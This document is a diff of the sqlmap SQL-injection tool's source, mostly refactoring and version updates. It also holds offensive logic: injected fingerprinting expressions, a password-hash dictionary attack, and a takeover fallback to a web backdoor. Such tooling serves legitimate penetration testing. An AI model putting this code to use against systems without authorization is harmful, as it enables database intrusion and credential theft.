             debugMsg = "post-processing table dump"
             logger.debug(debugMsg)
@@ -942,6 +960,8 @@ def dictionaryAttack(attack_dict):
                         if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
                             item = [(user, encodeHex(decodeBase64(hash_, binary=True))), {}]
                         elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1):
+                            if hash_.startswith("0x"):  # Reference: https://docs.microsoft.com/en-us/sql/t-sql/functions/hashbytes-transact-sql?view=sql-server-2017
+                                hash_ = hash_[2:]
                             item = [(user, hash_), {}]
                         elif hash_regex in (HASH.SSHA,):
                             item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[20:]}]
@@ -983,7 +1003,7 @@ def dictionaryAttack(attack_dict):
                                 resumes.append((user, hash_, resumed))
                             keys.add(hash_)
 
-                    except (binascii.Error, IndexError):
+                    except (binascii.Error, TypeError, IndexError):
                         pass
 
         if not attack_info:

lib/utils/httpd.py

@@ -78,7 +78,7 @@ class ReqHandler(_BaseHTTPServer.BaseHTTPRequestHandler):
             self.send_header(HTTP_HEADER.CONNECTION, "close")
 
         if content is not None:
-            for match in re.finditer(b"<\!(\w+)\!>", content):
+            for match in re.finditer(b"<!(\\w+)!>", content):
                 name = match.group(1)
                 _ = getattr(self, "_%s" % name.lower(), None)
                 if _:

lib/utils/pivotdumptable.py

@@ -7,7 +7,6 @@ See the file 'LICENSE' for copying permission
 
 import re
 
-from extra.safe2bin.safe2bin import safechardecode
 from lib.core.agent import agent
 from lib.core.bigarray import BigArray
 from lib.core.common import Backend
@@ -33,6 +32,7 @@ from lib.core.settings import MAX_INT
 from lib.core.settings import NULL
 from lib.core.unescaper import unescaper
 from lib.request import inject
+from lib.utils.safe2bin import safechardecode
 from thirdparty.six import unichr as _unichr
 
 def pivotDumpTable(table, colList, count=None, blind=True, alias=None):

lib/utils/purge.py

@@ -15,6 +15,7 @@ import string
 from lib.core.common import getSafeExString
 from lib.core.common import openFile
 from lib.core.compat import xrange
+from lib.core.convert import getUnicode
 from lib.core.data import logger
 from thirdparty.six import unichr as _unichr
 
@@ -84,4 +85,4 @@ def purge(directory):
     try:
         shutil.rmtree(directory)
     except OSError as ex:
-        logger.error("problem occurred while removing directory '%s' ('%s')" % (directory, getSafeExString(ex)))
+        logger.error("problem occurred while removing directory '%s' ('%s')" % (getUnicode(directory), getSafeExString(ex)))

lib/utils/safe2bin.py

@@ -1,23 +1,15 @@
 #!/usr/bin/env python
 
 """
-safe2bin.py - Simple safe(hex) to binary format converter
-
 Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-from __future__ import print_function
-
 import binascii
 import re
 import string
-import os
 import sys
 
-from optparse import OptionError
-from optparse import OptionParser
-
 if sys.version_info >= (3, 0):
     xrange = range
     text_type = str
@@ -49,10 +41,10 @@ def safecharencode(value):
     """
     Returns safe representation of a given basestring value
 
-    >>> safecharencode(u'test123')
+    >>> safecharencode(u'test123') == u'test123'
-    u'test123'
+    True
-    >>> safecharencode(u'test\x01\x02\xff')
+    >>> safecharencode(u'test\x01\x02\xaf') == u'test\\\\x01\\\\x02\\xaf'
-    u'test\\01\\02\\03\\ff'
+    True
     """
 
     retVal = value
@@ -107,37 +99,3 @@ def safechardecode(value, binary=False):
             retVal[i] = safechardecode(value[i])
 
     return retVal
-
-def main():
-    usage = '%s -i <input file> [-o <output file>]' % sys.argv[0]
-    parser = OptionParser(usage=usage, version='0.1')
-
-    try:
-        parser.add_option('-i', dest='inputFile', help='Input file')
-        parser.add_option('-o', dest='outputFile', help='Output file')
-
-        (args, _) = parser.parse_args()
-
-        if not args.inputFile:
-            parser.error('Missing the input file, -h for help')
-
-    except (OptionError, TypeError) as ex:
-        parser.error(ex)
-
-    if not os.path.isfile(args.inputFile):
-        print('ERROR: the provided input file \'%s\' is not a regular file' % args.inputFile)
-        sys.exit(1)
-
-    f = open(args.inputFile, 'r')
-    data = f.read()
-    f.close()
-
-    if not args.outputFile:
-        args.outputFile = args.inputFile + '.bin'
-
-    f = open(args.outputFile, 'wb')
-    f.write(safechardecode(data))
-    f.close()
-
-if __name__ == '__main__':
-    main()

lib/utils/sqlalchemy.py

@@ -76,7 +76,8 @@ class SQLAlchemy(GenericConnector):
                         pass
                 elif "invalid literal for int() with base 10: '0b" in traceback.format_exc():
                     raise SqlmapConnectionException("SQLAlchemy connection issue ('https://bitbucket.org/zzzeek/sqlalchemy/issues/3975')")
-                raise
+                else:
+                    pass
             except SqlmapFilePathException:
                 raise
             except Exception as ex:

plugins/dbms/firebird/fingerprint.py

@@ -10,6 +10,7 @@ import re
 from lib.core.common import Backend
 from lib.core.common import Format
 from lib.core.common import randomRange
+from lib.core.common import randomStr
 from lib.core.compat import xrange
 from lib.core.convert import getUnicode
 from lib.core.data import conf
@@ -74,13 +75,14 @@ class Fingerprint(GenericFingerprint):
             ("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")),
             ("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")),
             ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")),
-            # TODO: add test for Firebird 2.5
+            ("2.5", ("'%s' SIMILAR TO '%s'",)),  # Reference: https://firebirdsql.org/refdocs/langrefupd25-similar-to.html
+            ("3.0", ("FALSE IS FALSE",)),  # https://www.firebirdsql.org/file/community/conference-2014/pdf/02_fb.2014.whatsnew.30.en.pdf
         )
 
         for i in xrange(len(table)):
             version, checks = table[i]
             failed = False
-            check = checks[randomRange(0, len(checks) - 1)].replace("%d", getUnicode(randomRange(1, 100)))
+            check = checks[randomRange(0, len(checks) - 1)].replace("%d", getUnicode(randomRange(1, 100))).replace("%s", getUnicode(randomStr()))
             result = inject.checkBooleanExpression(check)
 
             if result:

plugins/dbms/informix/fingerprint.py

@@ -96,7 +96,7 @@ class Fingerprint(GenericFingerprint):
             infoMsg = "actively fingerprinting %s" % DBMS.INFORMIX
             logger.info(infoMsg)
 
-            for version in ("12.1", "11.7", "11.5"):
+            for version in ("14.1", "12.1", "11.7", "11.5", "10.0"):
                 output = inject.checkBooleanExpression("EXISTS(SELECT 1 FROM SYSMASTER:SYSDUAL WHERE DBINFO('VERSION,'FULL') LIKE '%%%s%%')" % version)
 
                 if output:

plugins/dbms/maxdb/enumeration.py

@@ -5,6 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+import re
+
 from lib.core.common import isListLike
 from lib.core.common import readInput
 from lib.core.common import safeSQLIdentificatorNaming
@@ -121,7 +123,7 @@ class Enumeration(GenericEnumeration):
             colList = []
 
         if conf.exclude:
-            colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
+            colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]
 
         for col in colList:
             colList[colList.index(col)] = safeSQLIdentificatorNaming(col)

plugins/dbms/mssqlserver/connector.py

@@ -14,7 +14,7 @@ except:
 import logging
 
 from lib.core.common import getSafeExString
-from lib.core.convert import getBytes
+from lib.core.convert import getText
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -58,7 +58,7 @@ class Connector(GenericConnector):
         retVal = False
 
         try:
-            self.cursor.execute(getBytes(query))
+            self.cursor.execute(getText(query))
             retVal = True
         except (pymssql.OperationalError, pymssql.ProgrammingError) as ex:
             logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " "))

plugins/dbms/mssqlserver/enumeration.py

@@ -5,6 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+import re
+
 from lib.core.agent import agent
 from lib.core.common import arrayizeValue
 from lib.core.common import getLimitRange
@@ -96,7 +98,7 @@ class Enumeration(GenericEnumeration):
                     singleTimeLogMessage(infoMsg)
                     continue
 
-                if conf.exclude and db in conf.exclude.split(','):
+                if conf.exclude and re.search(conf.exclude, db, re.I) is not None:
                     infoMsg = "skipping database '%s'" % db
                     singleTimeLogMessage(infoMsg)
                     continue
@@ -119,7 +121,7 @@ class Enumeration(GenericEnumeration):
                     singleTimeLogMessage(infoMsg)
                     continue
 
-                if conf.exclude and db in conf.exclude.split(','):
+                if conf.exclude and re.search(conf.exclude, db, re.I) is not None:
                     infoMsg = "skipping database '%s'" % db
                     singleTimeLogMessage(infoMsg)
                     continue
@@ -209,7 +211,7 @@ class Enumeration(GenericEnumeration):
                     singleTimeLogMessage(infoMsg)
                     continue
 
-                if conf.exclude and db in conf.exclude.split(','):
+                if conf.exclude and re.search(conf.exclude, db, re.I) is not None:
                     infoMsg = "skipping database '%s'" % db
                     singleTimeLogMessage(infoMsg)
                     continue
@@ -283,7 +285,7 @@ class Enumeration(GenericEnumeration):
         colList = conf.col.split(',')
 
         if conf.exclude:
-            colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
+            colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]
 
         origTbl = conf.tbl
         origDb = conf.db
@@ -344,7 +346,7 @@ class Enumeration(GenericEnumeration):
                 if conf.excludeSysDbs and db in self.excludeDbsList:
                     continue
 
-                if conf.exclude and db in conf.exclude.split(','):
+                if conf.exclude and re.search(conf.exclude, db, re.I) is not None:
                     continue
 
                 if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:

plugins/dbms/mssqlserver/fingerprint.py

@@ -94,7 +94,8 @@ class Fingerprint(GenericFingerprint):
                 ("2008", "SYSDATETIME()=SYSDATETIME()"),
                 ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"),
                 ("2014", "CHARINDEX('12.0.2000',@@version)>0"),
-                ("2016", "ISJSON(NULL) IS NULL")
+                ("2016", "ISJSON(NULL) IS NULL"),
+                ("2017", "TRIM(NULL) IS NULL")
             ):
                 result = inject.checkBooleanExpression(check)
 

plugins/dbms/mysql/fingerprint.py

@@ -41,6 +41,8 @@ class Fingerprint(GenericFingerprint):
             return None
 
         # Reference: https://downloads.mysql.com/archives/community/
+        # Reference: https://dev.mysql.com/doc/relnotes/mysql/<major>.<minor>/en/
+
         versions = (
             (32200, 32235),  # MySQL 3.22
             (32300, 32359),  # MySQL 3.23
@@ -50,10 +52,10 @@ class Fingerprint(GenericFingerprint):
             (50100, 50174),  # MySQL 5.1
             (50400, 50404),  # MySQL 5.4
             (50500, 50562),  # MySQL 5.5
-            (50600, 50646),  # MySQL 5.6
+            (50600, 50648),  # MySQL 5.6
-            (50700, 50726),  # MySQL 5.7
+            (50700, 50730),  # MySQL 5.7
             (60000, 60014),  # MySQL 6.0
-            (80000, 80015),  # MySQL 8.0
+            (80000, 80021),  # MySQL 8.0
         )
 
         index = -1

plugins/dbms/oracle/connector.py

@@ -15,7 +15,7 @@ import os
 import re
 
 from lib.core.common import getSafeExString
-from lib.core.convert import getBytes
+from lib.core.convert import getText
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -34,9 +34,9 @@ class Connector(GenericConnector):
     def connect(self):
         self.initConnection()
         self.__dsn = cx_Oracle.makedsn(self.hostname, self.port, self.db)
-        self.__dsn = getBytes(self.__dsn)
+        self.__dsn = getText(self.__dsn)
-        self.user = getBytes(self.user)
+        self.user = getText(self.user)
-        self.password = getBytes(self.password)
+        self.password = getText(self.password)
 
         try:
             self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password, mode=cx_Oracle.SYSDBA)
@@ -67,7 +67,7 @@ class Connector(GenericConnector):
         retVal = False
 
         try:
-            self.cursor.execute(getBytes(query))
+            self.cursor.execute(getText(query))
             retVal = True
         except cx_Oracle.DatabaseError as ex:
             logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex))

plugins/dbms/oracle/enumeration.py

@@ -21,6 +21,7 @@ from lib.core.enums import DBMS
 from lib.core.enums import EXPECTED
 from lib.core.enums import PAYLOAD
 from lib.core.exception import SqlmapNoneDataException
+from lib.core.settings import CURRENT_USER
 from lib.request import inject
 from plugins.generic.enumeration import Enumeration as GenericEnumeration
 
@@ -30,7 +31,7 @@ class Enumeration(GenericEnumeration):
 
         rootQuery = queries[DBMS.ORACLE].roles
 
-        if conf.user == "CU":
+        if conf.user == CURRENT_USER:
             infoMsg += " for current user"
             conf.user = self.getCurrentUser()
 
@@ -55,7 +56,7 @@ class Enumeration(GenericEnumeration):
             values = inject.getValue(query, blind=False, time=False)
 
             if not values and not query2:
-                infoMsg = "trying with table USER_ROLE_PRIVS"
+                infoMsg = "trying with table 'USER_ROLE_PRIVS'"
                 logger.info(infoMsg)
 
                 return self.getRoles(query2=True)
@@ -116,7 +117,7 @@ class Enumeration(GenericEnumeration):
 
                 if not isNumPosStrValue(count):
                     if count != 0 and not query2:
-                        infoMsg = "trying with table USER_SYS_PRIVS"
+                        infoMsg = "trying with table 'USER_SYS_PRIVS'"
                         logger.info(infoMsg)
 
                         return self.getPrivileges(query2=True)

plugins/dbms/oracle/fingerprint.py

@@ -105,7 +105,7 @@ class Fingerprint(GenericFingerprint):
             logger.info(infoMsg)
 
             # Reference: https://en.wikipedia.org/wiki/Oracle_Database
-            for version in ("18c", "12c", "11g", "10g", "9i", "8i"):
+            for version in ("19c", "18c", "12c", "11g", "10g", "9i", "8i", "7"):
                 number = int(re.search(r"([\d]+)", version).group(1))
                 output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2))
 

plugins/dbms/postgresql/filesystem.py

@@ -32,7 +32,7 @@ class Filesystem(GenericFilesystem):
 
         return self.udfEvalCmd(cmd=remoteFile, udfName="sys_fileread")
 
-    def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
+    def unionWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
         errMsg = "PostgreSQL does not support file upload with UNION "
         errMsg += "query SQL injection technique"
         raise SqlmapUnsupportedFeatureException(errMsg)

plugins/dbms/postgresql/takeover.py

@@ -10,6 +10,7 @@ import os
 from lib.core.common import Backend
 from lib.core.common import checkFile
 from lib.core.common import decloakToTemp
+from lib.core.common import flattenValue
 from lib.core.common import isListLike
 from lib.core.common import isStackingAvailable
 from lib.core.common import randomStr
@@ -104,7 +105,7 @@ class Takeover(GenericTakeover):
             output = inject.getValue(query, resumeValue=False)
 
             if isListLike(output):
-                output = os.linesep.join(output)
+                output = os.linesep.join(flattenValue(output))
 
             self._cleanupCmd = "DROP TABLE %s" % self.cmdTblName
             inject.goStacked(self._cleanupCmd)

plugins/dbms/sqlite/connector.py

@@ -13,7 +13,7 @@ except:
 import logging
 
 from lib.core.common import getSafeExString
-from lib.core.convert import getBytes
+from lib.core.convert import getText
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -75,7 +75,7 @@ class Connector(GenericConnector):
 
     def execute(self, query):
         try:
-            self.cursor.execute(getBytes(query))
+            self.cursor.execute(getText(query))
         except self.__sqlite.OperationalError as ex:
             logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex))
         except self.__sqlite.DatabaseError as ex:

plugins/dbms/sybase/connector.py

@@ -14,7 +14,7 @@ except:
 import logging
 
 from lib.core.common import getSafeExString
-from lib.core.convert import getBytes
+from lib.core.convert import getText
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -58,7 +58,7 @@ class Connector(GenericConnector):
         retVal = False
 
         try:
-            self.cursor.execute(getBytes(query))
+            self.cursor.execute(getText(query))
             retVal = True
         except (pymssql.OperationalError, pymssql.ProgrammingError) as ex:
             logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " "))

plugins/dbms/sybase/enumeration.py

@@ -5,6 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+import re
+
 from lib.core.common import filterPairValues
 from lib.core.common import isListLike
 from lib.core.common import isTechniqueAvailable
@@ -185,7 +187,7 @@ class Enumeration(GenericEnumeration):
             colList = []
 
         if conf.exclude:
-            colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
+            colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]
 
         for col in colList:
             colList[colList.index(col)] = safeSQLIdentificatorNaming(col)

plugins/generic/custom.py

@@ -61,16 +61,13 @@ class Custom(object):
                 return None
             else:
                 if sqlType:
-                    debugMsg = "executing %s query: '%s'" % (sqlType if sqlType is not None else "SQL", query)
+                    infoMsg = "executing %s statement: '%s'" % (sqlType if sqlType is not None else "SQL", query)
                 else:
-                    debugMsg = "executing unknown SQL type query: '%s'" % query
+                    infoMsg = "executing unknown SQL command: '%s'" % query
-                logger.debug(debugMsg)
+                logger.info(infoMsg)
 
                 inject.goStacked(query)
 
-                debugMsg = "done"
-                logger.debug(debugMsg)
-
                 output = NULL
 
         except SqlmapNoneDataException as ex:

plugins/generic/databases.py

@@ -5,6 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+import re
+
 from lib.core.agent import agent
 from lib.core.common import arrayizeValue
 from lib.core.common import Backend
@@ -332,7 +334,7 @@ class Databases(object):
                     logger.info(infoMsg)
                     continue
 
-                if conf.exclude and db in conf.exclude.split(','):
+                if conf.exclude and re.search(conf.exclude, db, re.I) is not None:
                     infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(db)
                     singleTimeLogMessage(infoMsg)
                     continue
@@ -466,7 +468,7 @@ class Databases(object):
             colList = []
 
         if conf.exclude:
-            colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
+            colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]
 
         for col in colList:
             colList[colList.index(col)] = safeSQLIdentificatorNaming(col)

plugins/generic/entries.py

@@ -25,6 +25,7 @@ from lib.core.common import singleTimeLogMessage
 from lib.core.common import singleTimeWarnMessage
 from lib.core.common import unArrayizeValue
 from lib.core.common import unsafeSQLIdentificatorNaming
+from lib.core.convert import getConsoleLength
 from lib.core.convert import getUnicode
 from lib.core.data import conf
 from lib.core.data import kb
@@ -77,7 +78,7 @@ class Entries(object):
                 errMsg += "the tables' columns"
                 raise SqlmapMissingMandatoryOptionException(errMsg)
 
-            if conf.exclude and conf.db in conf.exclude.split(','):
+            if conf.exclude and re.search(conf.exclude, conf.db, re.I) is not None:
                 infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                 singleTimeLogMessage(infoMsg)
                 return
@@ -111,7 +112,7 @@ class Entries(object):
             if kb.dumpKeyboardInterrupt:
                 break
 
-            if conf.exclude and tbl in conf.exclude.split(','):
+            if conf.exclude and re.search(conf.exclude, tbl, re.I) is not None:
                 infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl)
                 singleTimeLogMessage(infoMsg)
                 continue
@@ -144,7 +145,7 @@ class Entries(object):
                 colList = sorted(column for column in columns if column)
 
                 if conf.exclude:
-                    colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
+                    colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]
 
                 if not colList:
                     warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl)
@@ -269,7 +270,7 @@ class Entries(object):
                                 else:
                                     colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u''
 
-                                maxLen = max(len(column), len(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry))))
+                                maxLen = max(getConsoleLength(column), getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry))))
 
                                 if maxLen > kb.data.dumpedTable[column]["length"]:
                                     kb.data.dumpedTable[column]["length"] = maxLen
@@ -490,7 +491,7 @@ class Entries(object):
                 conf.db = db
 
                 for table in tables:
-                    if conf.exclude and table in conf.exclude.split(','):
+                    if conf.exclude and re.search(conf.exclude, table, re.I) is not None:
                         infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table)
                         logger.info(infoMsg)
                         continue
@@ -506,7 +507,7 @@ class Entries(object):
                         logger.info(infoMsg)
 
     def dumpFoundColumn(self, dbs, foundCols, colConsider):
-        message = "do you want to dump entries? [Y/n] "
+        message = "do you want to dump found column(s) entries? [Y/n] "
 
         if not readInput(message, default='Y', boolean=True):
             return
@@ -561,7 +562,7 @@ class Entries(object):
                 colList = [_ for _ in columns if _]
 
                 if conf.exclude:
-                    colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
+                    colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]
 
                 conf.col = ','.join(colList)
                 kb.data.cachedColumns = {}
@@ -573,7 +574,7 @@ class Entries(object):
                     conf.dumper.dbTableValues(data)
 
     def dumpFoundTables(self, tables):
-        message = "do you want to dump tables' entries? [Y/n] "
+        message = "do you want to dump found table(s) entries? [Y/n] "
 
         if not readInput(message, default='Y', boolean=True):
             return

plugins/generic/filesystem.py

@@ -33,7 +33,6 @@ from lib.core.enums import DBMS
 from lib.core.enums import EXPECTED
 from lib.core.enums import PAYLOAD
 from lib.core.exception import SqlmapUndefinedMethod
-from lib.core.settings import TAKEOVER_TABLE_PREFIX
 from lib.core.settings import UNICODE_ENCODING
 from lib.request import inject
 
@@ -43,7 +42,7 @@ class Filesystem(object):
     """
 
     def __init__(self):
-        self.fileTblName = "%sfile" % TAKEOVER_TABLE_PREFIX
+        self.fileTblName = "%sfile" % conf.tablePrefix
         self.tblField = "data"
 
     def _checkFileLength(self, localFile, remoteFile, fileRead=False):

plugins/generic/misc.py

@@ -137,7 +137,7 @@ class Miscellaneous(object):
             self.delRemoteFile(self.webStagerFilePath)
             self.delRemoteFile(self.webBackdoorFilePath)
 
-        if not isStackingAvailable() and not conf.direct:
+        if (not isStackingAvailable() or kb.udfFail) and not conf.direct:
             return
 
         if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and kb.copyExecTest:

plugins/generic/search.py

@@ -5,6 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+import re
+
 from lib.core.agent import agent
 from lib.core.common import arrayizeValue
 from lib.core.common import Backend
@@ -376,7 +378,7 @@ class Search(object):
         colList = conf.col.split(',')
 
         if conf.exclude:
-            colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
+            colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]
 
         origTbl = conf.tbl
         origDb = conf.db

plugins/generic/syntax.py

@@ -7,8 +7,10 @@ See the file 'LICENSE' for copying permission
 
 import re
 
+from lib.core.common import Backend
 from lib.core.convert import getBytes
 from lib.core.data import conf
+from lib.core.enums import DBMS
 from lib.core.exception import SqlmapUndefinedMethod
 
 class Syntax(object):
@@ -31,7 +33,7 @@ class Syntax(object):
 
                     if replacement != original:
                         retVal = retVal.replace(item, replacement)
-                    elif len(original) != len(getBytes(original)) and "n'%s'" % original not in retVal:
+                    elif len(original) != len(getBytes(original)) and "n'%s'" % original not in retVal and Backend.getDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.ORACLE, DBMS.MSSQL):
                         retVal = retVal.replace("'%s'" % original, "n'%s'" % original)
         else:
             retVal = escaper(expression)

plugins/generic/takeover.py

@@ -9,11 +9,13 @@ import os
 
 from lib.core.common import Backend
 from lib.core.common import getSafeExString
+from lib.core.common import isDigit
 from lib.core.common import isStackingAvailable
 from lib.core.common import openFile
 from lib.core.common import readInput
 from lib.core.common import runningAsAdmin
 from lib.core.data import conf
+from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.enums import DBMS
 from lib.core.enums import OS
@@ -25,7 +27,6 @@ from lib.core.exception import SqlmapNotVulnerableException
 from lib.core.exception import SqlmapSystemException
 from lib.core.exception import SqlmapUndefinedMethod
 from lib.core.exception import SqlmapUnsupportedDBMSException
-from lib.core.settings import TAKEOVER_TABLE_PREFIX
 from lib.takeover.abstraction import Abstraction
 from lib.takeover.icmpsh import ICMPsh
 from lib.takeover.metasploit import Metasploit
@@ -37,7 +38,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
     """
 
     def __init__(self):
-        self.cmdTblName = ("%soutput" % TAKEOVER_TABLE_PREFIX)
+        self.cmdTblName = ("%soutput" % conf.tablePrefix)
         self.tblField = "data"
 
         Abstraction.__init__(self)
@@ -79,7 +80,20 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
             raise SqlmapNotVulnerableException(errMsg)
 
         self.getRemoteTempPath()
-        self.initEnv(web=web)
+
+        try:
+            self.initEnv(web=web)
+        except SqlmapFilePathException:
+            if not web and not conf.direct:
+                infoMsg = "falling back to web backdoor method..."
+                logger.info(infoMsg)
+
+                web = True
+                kb.udfFail = True
+
+                self.initEnv(web=web)
+            else:
+                raise
 
         if not web or (web and self.webBackdoorUrl is not None):
             self.shell()
@@ -102,7 +116,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
             while True:
                 tunnel = readInput(msg, default='1')
 
-                if tunnel.isdigit() and int(tunnel) in (1, 2):
+                if isDigit(tunnel) and int(tunnel) in (1, 2):
                     tunnel = int(tunnel)
                     break
 
@@ -173,7 +187,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
                     while True:
                         choice = readInput(msg, default='1')
 
-                        if choice.isdigit() and int(choice) in (1, 2):
+                        if isDigit(choice) and int(choice) in (1, 2):
                             choice = int(choice)
                             break
 

plugins/generic/users.py

@@ -39,6 +39,7 @@ from lib.core.enums import EXPECTED
 from lib.core.enums import PAYLOAD
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapUserQuitException
+from lib.core.settings import CURRENT_USER
 from lib.core.threads import getCurrentThreadData
 from lib.request import inject
 from lib.utils.hash import attackCachedUsersPasswords
@@ -153,7 +154,7 @@ class Users(object):
 
         rootQuery = queries[Backend.getIdentifiedDbms()].passwords
 
-        if conf.user == "CU":
+        if conf.user == CURRENT_USER:
             infoMsg += " for current user"
             conf.user = self.getCurrentUser()
 
@@ -362,7 +363,7 @@ class Users(object):
 
         rootQuery = queries[Backend.getIdentifiedDbms()].privileges
 
-        if conf.user == "CU":
+        if conf.user == CURRENT_USER:
             infoMsg += " for current user"
             conf.user = self.getCurrentUser()
 
@@ -410,7 +411,7 @@ class Users(object):
             values = inject.getValue(query, blind=False, time=False)
 
             if not values and Backend.isDbms(DBMS.ORACLE) and not query2:
-                infoMsg = "trying with table USER_SYS_PRIVS"
+                infoMsg = "trying with table 'USER_SYS_PRIVS'"
                 logger.info(infoMsg)
 
                 return self.getPrivileges(query2=True)
@@ -446,7 +447,7 @@ class Users(object):
                             # In MySQL < 5.0 we get Y if the privilege is
                             # True, N otherwise
                             elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
-                                if privilege.upper() == "Y":
+                                if privilege.upper() == 'Y':
                                     privileges.add(MYSQL_PRIVS[count])
 
                             # In Firebird we get one letter for each privilege
@@ -465,7 +466,7 @@ class Users(object):
                                     i = 1
 
                                     for priv in privs:
-                                        if priv.upper() in ("Y", "G"):
+                                        if priv.upper() in ('Y', 'G'):
                                             for position, db2Priv in DB2_PRIVS.items():
                                                 if position == i:
                                                     privilege += ", " + db2Priv
@@ -525,7 +526,7 @@ class Users(object):
 
                     if not isNumPosStrValue(count):
                         if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2:
-                            infoMsg = "trying with table USER_SYS_PRIVS"
+                            infoMsg = "trying with table 'USER_SYS_PRIVS'"
                             logger.info(infoMsg)
 
                             return self.getPrivileges(query2=True)
@@ -599,7 +600,8 @@ class Users(object):
 
                     # In Firebird we get one letter for each privilege
                     elif Backend.isDbms(DBMS.FIREBIRD):
-                        privileges.add(FIREBIRD_PRIVS[privilege.strip()])
+                        if privilege.strip() in FIREBIRD_PRIVS:
+                            privileges.add(FIREBIRD_PRIVS[privilege.strip()])
 
                     # In Informix we get one letter for the highest privilege
                     elif Backend.isDbms(DBMS.INFORMIX):

sqlmap.conf

@@ -2,16 +2,16 @@
 # get target URLs from.
 [Target]
 
+# Target URL.
+# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
+url =
+
 # Direct connection to the database.
 # Examples:
 #   mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
 #   oracle://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_SID
 direct = 
 
-# Target URL.
-# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
-url = 
-
 # Parse targets from Burp or WebScarab logs
 # Valid: Burp proxy (http://portswigger.net/suite/) requests log file path
 # or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
@@ -32,10 +32,6 @@ requestFile =
 # Example: +ext:php +inurl:"&id=" +intext:"powered by "
 googleDork = 
 
-# Parse target(s) from remote sitemap(.xml) file.
